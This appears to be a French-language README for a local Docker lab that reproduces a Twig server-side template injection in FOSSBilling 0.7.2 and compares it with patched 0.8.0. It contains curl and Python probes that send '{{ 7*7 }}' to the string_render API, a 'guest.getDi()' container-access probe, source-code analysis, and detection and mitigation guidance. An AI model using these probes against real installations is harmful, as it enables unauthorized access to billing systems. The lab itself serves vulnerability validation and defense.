
# Laboratoire Docker pour la reproduction et la validation de CVE-2026-28496, une vulnérabilité d'injection de modèles côté serveur dans le rendu Twig de FOSSBilling, avec des cibles de comparaison vulnérables et corrigées.
Ce dépôt contient un laboratoire Docker local pour reproduire et valider CVE-2026-28496, une vulnérabilité d'injection de modèles côté serveur affectant le comportement de rendu des modèles Twig de FOSSBilling.
FOSSBilling est une plateforme gratuite et open-source de facturation et de gestion des clients. Les versions antérieures à 0.8.0 sont affectées par un comportement de rendu de modèles Twig non sécurisé pouvant évaluer des expressions de modèles fournies. FOSSBilling 0.8.0 est utilisé comme cible de comparaison corrigée dans ce laboratoire.
Ce laboratoire compare deux versions de FOSSBilling :
| Service | Version de FOSSBilling | Objectif | URL |
|---|
| vuln | 0.7.2 | Cible de comparaison vulnérable | http://localhost:8081 |
| patched | 0.8.0 | Cible de comparaison corrigée | http://localhost:8082 |
Le chemin de validation HTTP démontré dans ce laboratoire local est :```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior
Dans la cible vulnérable, l'appel API renvoie :```json
{"result":"49","error":null}
Dans la cible corrigée, la même requête renvoie :```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Ce laboratoire valide le comportement HTTP de la version vulnérable par rapport à la version corrigée, à l'aide de FOSSBilling 0.7.2 et FOSSBilling 0.8.0.
Le laboratoire est volontairement limité aux services Docker locaux. Il ne cible pas de systèmes externes et n'inclut pas de webshells, de malwares, de persistance, de rappels externes, de dump de base de données ni de charges utiles destructrices.
## Faits vérifiés
| Affirmation | Preuve | Comment vérifier dans ce laboratoire |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 affecte les versions de FOSSBilling antérieures à 0.8.0. | Les métadonnées publiques du CVE et de l'avis de sécurité identifient FOSSBilling antérieur à 0.8.0 comme étant affecté par Twig SSTI. | Consultez la section Références et comparez les versions des cibles vulnérable et corrigée. |
| FOSSBilling 0.7.2 est utilisé comme cible de comparaison vulnérable. | Le service vulnérable est construit à partir de l'image Docker officielle `fossbilling/fossbilling:0.7.2`. | Inspectez `vuln/Dockerfile` et exécutez `docker compose ps -a`. |
| FOSSBilling 0.8.0 est utilisé comme cible de comparaison corrigée. | Le service corrigé est construit à partir de l'image Docker officielle `fossbilling/fossbilling:0.8.0`. | Inspectez `patched/Dockerfile` et exécutez `docker compose ps -a`. |
| Le chemin HTTP vulnérable est `/api/system/system/string_render`. | La cible vulnérable renvoie du JSON avec `result: "49"` pour `_tpl={{ 7*7 }}`. | Exécutez `python3 poc/poc.py --url http://localhost:8081`. |
| La cible corrigée n'expose pas le même comportement HTTP. | La cible corrigée renvoie `Unknown API call system/system/string_render`. | Exécutez `python3 poc/poc.py --url http://localhost:8082`. |
| Le PoC est exclusivement HTTP. | `poc/poc.py` envoie des requêtes HTTP POST et n'appelle ni Docker, ni Docker Compose, ni des commandes shell, ni les API de conteneurs. | Inspectez `poc/poc.py`. |
| Le laboratoire installe automatiquement les deux cibles FOSSBilling au démarrage de Docker Compose. | Les conteneurs sidecar d'installation à usage unique terminent la configuration et se terminent avec le statut 0. | Exécutez `docker compose ps -a` et `docker compose logs installer-vuln installer-patched`. |
| La cible vulnérable rend l'expression Twig inoffensive. | La réponse HTTP du port 8081 est `{"result":"49","error":null}`. | Exécutez la commande PoC pour la version vulnérable. |
| La cible corrigée ne rend pas la même expression via le chemin API testé. | La réponse HTTP du port 8082 est une erreur d'API JSON avec le code `879`. | Exécutez la commande PoC pour la version corrigée. |
## Hypothèses et inconnues
Ce laboratoire utilise FOSSBilling 0.7.2 comme cible de comparaison vulnérable car les recherches publiques sur les vulnérabilités identifient les versions de FOSSBilling antérieures à 0.8.0 comme étant affectées, et 0.7.2 est la dernière version vulnérable utilisée dans la chaîne testée.
Ce laboratoire utilise FOSSBilling 0.8.0 comme cible de comparaison corrigée car les métadonnées publiques de l'avis de sécurité identifient 0.8.0 comme la version corrigée.
Ce laboratoire se concentre sur le comportement HTTP observable de :```text
POST /api/system/system/string_render
avec ce corps JSON:```json {"_tpl":"{{ 7*7 }}"}
Le laboratoire démontre que FOSSBilling 0.7.2 rend l'expression Twig fournie via le chemin de l'API HTTP, tandis que FOSSBilling 0.8.0 n'expose pas le même appel API.
Ce laboratoire ne prétend pas tester toutes les fonctionnalités de rendu de templates de FOSSBilling. CVE-2026-28496 concerne également d'autres contextes de rendu Twig, tels que les fonctionnalités de rendu de templates disponibles dans l'application.
Ce laboratoire ne démontre pas la chaîne complète d'exécution de code à distance non authentifiée. Il valide le comportement HTTP non authentifié observé sur la cible locale FOSSBilling 0.7.2 et le compare avec FOSSBilling 0.8.0. La chaîne publique complète implique un comportement d'autorisation d'API supplémentaire au-delà de la validation sécurisée d'expression Twig présentée ici.
Le laboratoire ne démontre pas :
* l'exécution de commandes à distance,
* l'extraction d'identifiants,
* le dump de base de données,
* l'installation d'extensions,
* l'écriture arbitraire de fichiers,
* la persistance,
* le téléchargement de webshell,
* les rappels externes,
* les attaques contre des systèmes hors laboratoire,
* ou l'activité post-exploitation.
## Résumé de la cause racine
La cause racine de CVE-2026-28496 est un rendu de templates Twig non sécurisé.
FOSSBilling utilise Twig pour rendre les templates dynamiques. Dans les versions vulnérables, une chaîne de template fournie peut être transmise à la logique de rendu Twig sans restrictions de sandbox suffisantes.
Le comportement vulnérable peut être résumé comme suit :```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response
Pour cette expression de template inoffensive:```twig {{ 7*7 }}
la cible vulnérable évalue l'expression et renvoie :```text
49
Le problème de sécurité ne se limite pas à l'évaluation arithmétique. L'évaluation arithmétique n'est que le signal visible et sûr utilisé dans ce laboratoire.
Le problème le plus sensible en matière de sécurité est que les templates Twig non sandboxés peuvent accéder aux objets et méthodes exposés dans le contexte de template. Des recherches publiques décrivent un chemin d'impact plus élevé où l'exécution de templates Twig peut atteindre les composants internes de l'application, y compris le conteneur d'injection de dépendances, lorsque des objets de contexte de template adaptés sont disponibles.
Le modèle vulnérable simplifié est :```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable
La conception corrigée dans FOSSBilling 0.8.0 durcit le comportement vulnérable. Dans ce laboratoire, la cible corrigée n'expose plus l'appel API testé :```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
La leçon de sécurité est :```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.
## Analyse du code source
Le comportement HTTP vulnérable est appuyé par le chemin de code source dans FOSSBilling 0.7.2.
La méthode API reçoit `_tpl` à partir des données de la requête et le transmet au moteur de rendu du service système.
Point d'entrée vulnérable concerné :```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
Le flux de données important est :```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()
Dans FOSSBilling 0.7.2, `renderString()` tente de charger la valeur fournie comme nom de modèle. Si cela échoue, il traite la valeur fournie comme une chaîne de modèle et la transmet à `createTemplateFromString()`.
Flux vulnérable simplifié :```php
public function renderString($tpl, $try_render, $vars)
{
$twig = $this->di['twig'];
try {
$template = $twig->load($tpl);
$parsed = $template->render($vars);
} catch (\Exception) {
// $twig->load throws an exception when $tpl is a raw template string
$parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
}
return $parsed;
}
Le sink vulnérable est createTemplateFromString():```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
Le modèle de source pertinent pour la sécurité est :```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side
Ceci explique le résultat du laboratoire vulnérable:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Réponse vulnérable :```json
{"result":"49","error":null}
La valeur 49 prouve que l'expression Twig fournie a été évaluée côté serveur.
La charge utile de laboratoire sûre n'utilise que de l'arithmétique :```twig {{ 7*7 }}
Cependant, la cause profonde est plus sensible en matière de sécurité que l'évaluation d'expressions arithmétiques. Dans des contextes de rendu vulnérables, les modèles Twig peuvent interagir avec des objets d'application présents dans l'environnement de template. La recherche publique décrit des chaînes à plus fort impact où les objets de contexte API peuvent exposer un accès aux composants internes de l'application, tels que le conteneur d'injection de dépendances.
Une vérification de régression au niveau du code source a confirmé le comportement plus profond :```text
FOSSBilling 0.7.2:
{{ guest.getDi() }}
→ DI_VISIBLE
FOSSBilling 0.8.0:
{{ guest.getDi() }}
→ blocked by Twig sandbox policy
C'est pourquoi la vulnérabilité est mieux comprise comme un rendu de modèle non sécurisé, et non pas simplement comme un bug d'évaluation d'expression de type calculatrice.
FOSSBilling 0.8.0 modifie le comportement vulnérable en renforçant le rendu des chaînes de caractères et en supprimant le comportement HTTP vulnérable testé.
Dans la version corrigée, le rendu des chaînes de caractères passe par un rendu prenant en compte le bac à sable, au lieu de rendre directement des chaînes de modèle arbitraires avec de larges capacités Twig.
Le code du service corrigé appelle un rendu prenant en compte le bac à sable :```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );
Le moteur de rendu sandboxé crée et rend un template, mais intercepte les violations de sandbox de Twig et les convertit en une erreur applicative contrôlée :```php
final class SandboxedStringRenderer
{
public static function render(
Environment $twig,
string $content,
array $context = [],
string $name = 'template'
): string {
try {
return $twig->createTemplate($content)->render($context);
} catch (SecurityError $e) {
throw new InformationException(
'%name% contains disallowed Twig syntax: %error%',
[
'%name%' => $name,
'%error%' => $e->getMessage(),
]
);
}
}
}
La politique du sandbox bloque l'accès aux méthodes et propriétés par défaut :```php $methods = []; $properties = [];
Le changement pertinent pour la sécurité est :```text
Before:
request-controlled template string
→ Twig createTemplate()
→ render without the patched sandbox boundary
After:
template string rendering
→ SandboxedStringRenderer
→ Twig sandbox policy
→ method/property access denied by default
Pour le chemin d'accès à l'API HTTP public testé dans ce laboratoire, FOSSBilling 0.8.0 n'expose pas le même appel API vulnérable :```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Cela donne deux couches de validation utiles :```text
HTTP behavior validation:
0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
0.8.0 does not expose the same API behavior.
Source/root-cause validation:
0.7.2 allows unsafe Twig rendering behavior.
0.8.0 introduces sandboxed string rendering and blocks method/property access.
Le laboratoire garde ces deux couches séparées :```text HTTP PoC result proves the vulnerable endpoint behavior.
Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.
## Architecture du laboratoire
Le laboratoire exécute deux installations FOSSBilling isolées via Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
Les deux services FOSSBilling utilisent des bases de données séparées et des versions d'application séparées :
| Service | Composant | Version / Rôle |
|---|---|---|
| vuln | FOSSBilling | application cible vulnérable |
| patched | FOSSBilling | application cible corrigée |
| vuln-db | MariaDB | base de données pour la cible vulnérable |
| patched-db | MariaDB | base de données pour la cible corrigée |
| installer-vuln | curl sidecar | auto-installe la cible vulnérable |
| installer-patched | curl sidecar | auto-installe la cible corrigée |
Services exposés par défaut :```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Le laboratoire utilise des versions épinglées de FOSSBilling :
| Target | FOSSBilling version | Expected behavior |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 | 0.7.2 | affiche `{{ 7*7 }}` via le chemin d'API vulnérable |
| http://localhost:8082 | 0.8.0 | n'expose pas le même comportement d'API vulnérable |
Les sidecars d'installation s'exécutent automatiquement lors de `docker compose up`. Ils initialisent les deux cibles FOSSBilling avec des identifiants de base de données locaux jetables, puis se terminent.
Le laboratoire ne crée ni ne modifie la route d'API vulnérable.
La route `/api/system/system/string_render` est fournie par l'application FOSSBilling dans la cible vulnérable 0.7.2 après l'installation. Le laboratoire Docker installe uniquement l'application via son flux d'installation normal, puis envoie une requête HTTP au point de terminaison existant de l'application.
La cible corrigée 0.8.0 renvoie `Unknown API call system/system/string_render`, ce qui confirme que le comportement de la route testée provient de la version de l'application elle-même et non d'une route créée par le laboratoire.
## Prérequis
* Docker Desktop ou Docker Engine
* Docker Compose v2
* Python 3
* Accès Internet lors du premier téléchargement de l'image Docker
Aucun package Python tiers n'est requis. Le PoC utilise uniquement les modules de la bibliothèque standard de Python.
## Démarrage rapide
Démarrez le laboratoire depuis un état propre :```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Vérifier l'état du service :```bash docker compose ps -a
Services attendus en cours d'exécution :```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Services d'installation attendus terminés :```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Vérifiez les journaux d'installation :```bash
docker compose logs installer-vuln installer-patched
Vérifiez les applications web :```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Exécutez la validation HTTP contre la cible vulnérable :```bash
python3 poc/poc.py --url http://localhost:8081
Exécutez la validation HTTP contre la cible corrigée :```bash python3 poc/poc.py --url http://localhost:8082
## Utilisation du PoC
Le PoC accepte une URL de base FOSSBilling locale :```bash
python3 poc/poc.py --url <target_url>
Exemples:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
Le PoC envoie cette requête HTTP :```text
POST /api/system/system/string_render
Content-Type: application/json
Corps de la requête :```json {"_tpl":"{{ 7*7 }}"}
Le PoC est uniquement HTTP. Il n'appelle pas Docker, Docker Compose, les commandes shell, WP-CLI ou les API de conteneurs.
## Résultats attendus
### Cible vulnérable
Commande :```bash
python3 poc/poc.py --url http://localhost:8081
Signal de cible vulnérable attendu :```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}
===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.
### Cible corrigée
Commande :```bash
python3 poc/poc.py --url http://localhost:8082
Signal attendu de la cible patchée:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.
La différence importante est :```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49
FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error
Le validateur envoie une seule requête HTTP POST à l'endpoint de l'API FOSSBilling :```text /api/system/system/string_render
Le corps de la requête contient une expression Twig inoffensive :```json
{"_tpl":"{{ 7*7 }}"}
Comportement vulnérable attendu :```text HTTP 200 OK JSON result is "49"
Comportement attendu après correctif :```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable
Cela confirme que la cible vulnérable évalue le modèle fourni côté serveur.
La preuve de concept (PoC) utilise intentionnellement {{ 7*7 }} au lieu d’une charge utile destructrice. L’objectif est de prouver la condition technique en toute sécurité :```text
attacker-controlled template input
Pour une validation plus approfondie de la cause racine au niveau du code source, l’accès aux méthodes constitue une preuve plus solide du problème sous-jacent. Toutefois, le PoC public de ce dépôt utilise l’expression arithmétique plus sûre afin d’éviter de démontrer une chaîne à fort impact.
## Reproduction manuelle avec curl
Sonde vulnérable :```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Résultat attendu:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
{"result":"49","error":null}
Sonde corrigée :```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Résultat attendu :```text HTTP/1.1 400 Bad Request Content-Type: application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## Impact
L'injection de modèles côté serveur (Server-Side Template Injection) dans une plateforme de facturation et de gestion des clients est sensible du point de vue de la sécurité, car l'application peut stocker des dossiers clients, des données de facturation, des identifiants serveur, la configuration des paiements et une logique d'automatisation contrôlée par l'administrateur.
La charge utile de laboratoire démontrée est inoffensive et évalue uniquement :```twig
{{ 7*7 }}
However, the underlying class of vulnerability can be more serious when template execution has access to application objects, methods, or service containers.
Potential real-world impact, depending on configuration and reachable template context, may include:
This lab demonstrates only the safe HTTP validation signal. It does not demonstrate credential access, database access, extension installation, command execution, or post-exploitation.
Potential indicators include HTTP requests to the FOSSBilling API endpoint:```text /api/system/system/string_render
Motif de requête suspect :```text
POST /api/system/system/string_render
Content-Type: application/json
Indicateurs de corps de requête suspects :```text _tpl {{ }} Twig syntax
Exemple de modèle de journal d'accès :```text
POST /api/system/system/string_render
Exemple de payload JSON :```json {"_tpl":"{{ 7*7 }}"}
Actions de surveillance recommandées :
* Examinez les journaux d'accès du serveur web pour `/api/system/system/string_render`.
* Examinez les requêtes contenant `_tpl` dans les corps de requête JSON.
* Examinez les requêtes contenant la syntaxe Twig telle que `{{` et `}}`.
* Examinez les réponses API réussies qui contiennent la sortie de template rendue.
* Examinez les réponses API en échec pour des tentatives suspectes de rendu de template.
* Examinez l'activité des administrateurs si une exploitation est suspectée.
* Examinez les modifications de configuration des templates, des e-mails, de l'envoi en masse et des adaptateurs de paiement.
* Examinez les journaux d'application pour des erreurs de rendu de template ou des appels API inattendus.
Idée de détection à fort signal :```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
Un autre artefact de validation locale à fort signal :```text Request body: {"_tpl":"{{ 7*7 }}"}
Response body: {"result":"49","error":null}
## Notes d'atténuation et de correctif
Mettez à niveau FOSSBilling vers la version 0.8.0 ou ultérieure.
Pour les environnements de production, installez la dernière version disponible plutôt que de vous arrêter à la version de comparaison en laboratoire.
Étapes d'atténuation recommandées :
* Mettez à niveau FOSSBilling vers la version 0.8.0 ou ultérieure.
* Vérifiez que la version installée n'est pas dans la plage affectée.
* Restreignez l'accès public aux chemins d'API administratifs lorsque cela est possible.
* Examinez les journaux d'accès web pour détecter les requêtes vers `/api/system/system/string_render`.
* Passez en revue les modèles, les modèles d'e-mail, les envois en masse et les adaptateurs de paiement personnalisés pour détecter toute syntaxe Twig suspecte.
* Récréez les secrets si une exploitation est suspectée.
* Examinez les enregistrements clients, de facturation, de paiement et de gestion des serveurs pour détecter tout accès non autorisé.
* Considérez les règles WAF ou les blocages par reverse proxy comme des contrôles temporaires, et non comme des remplacements de la mise à niveau.
Leçons d'ingénierie de la sécurité :
* Ne rendez pas des chaînes de modèle non fiables dans un contexte d'application privilégié.
* N'exposez pas les conteneurs de services applicatifs aux contextes de modèles.
* Utilisez un rendu de modèles en bac à sable pour les fonctionnalités de modèles contrôlées par les utilisateurs ou les administrateurs.
* Refusez l'accès aux méthodes et aux propriétés sauf s'il est explicitement requis.
* Rendez les échecs d'autorisation API explicites et échouez en position fermée (fail closed).
* Traitez les fonctions de rendu de modèles comme des surfaces adjacentes à l'exécution de code.
## Commandes de vérification utiles
Vérifiez l'état du conteneur :```bash
docker compose ps -a
Vérifiez les journaux d'installation :```bash docker compose logs installer-vuln installer-patched
Vérifiez les services web :```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Exécuter la validation HTTP vulnérable :```bash python3 poc/poc.py --url http://localhost:8081
Exécutez la validation HTTP corrigée:```bash
python3 poc/poc.py --url http://localhost:8082
Requête manuelle vulnérable :```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Requête patchée manuellement :```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Inspecter le flux source vulnérable à partir de l'arborescence source extraite :```bash git checkout 0.7.2
grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
Inspectez le renderer sandbox patché dans l'arborescence source extraite :```bash
git checkout 0.8.0
grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
Enregistrer les preuves de validation :```bash mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt
python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt
docker compose ps -a
| tee evidence/docker-compose-ps.txt
docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt
Vérifier les en-têtes de réponse FOSSBilling:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
Arrêter et supprimer les conteneurs et les réseaux :```bash docker compose down --remove-orphans
Supprimer les conteneurs, les réseaux et les volumes :```bash
docker compose down -v --remove-orphans
Supprimez les fichiers de preuve locaux s'ils ont été créés :```bash rm -rf evidence/
## Safety Boundaries
Ce laboratoire est réservé à la recherche en sécurité locale et à des démonstrations contrôlées uniquement.
N'exécutez pas le PoC ni de requêtes curl manuelles contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
N'utilisez pas de véritables identifiants de production, de données clients, de données de paiement, de clés API ou de secrets de production dans ce laboratoire.
Le périmètre prévu est limité aux services Docker locaux tels que :```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Le PoC est volontairement limité au HTTP et à la portée locale. Il n'invoque pas Docker, Docker Compose, les commandes shell, WP-CLI, ni les API de conteneurs.
Le laboratoire n'inclut pas de payloads pour :
L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text HTTP request
## Références
* Enregistrement CVE : CVE-2026-28496
https://www.cve.org/CVERecord?id=CVE-2026-28496
* Avis GitHub : GHSA-57mv-jm88-66jc
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* VulnCheck : Contournement de l'authentification FOSSBilling et SSTI Twig vers une RCE non authentifiée
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* Documentation Docker FOSSBilling
https://docs.fossbilling.org/getting-started/docker/
* Dépôt GitHub FOSSBilling
https://github.com/FOSSBilling/FOSSBilling
* Image Docker FOSSBilling
https://hub.docker.com/r/fossbilling/fossbilling
* Documentation Twig : Extension Sandbox
https://twig.symfony.com/doc/3.x/sandbox.html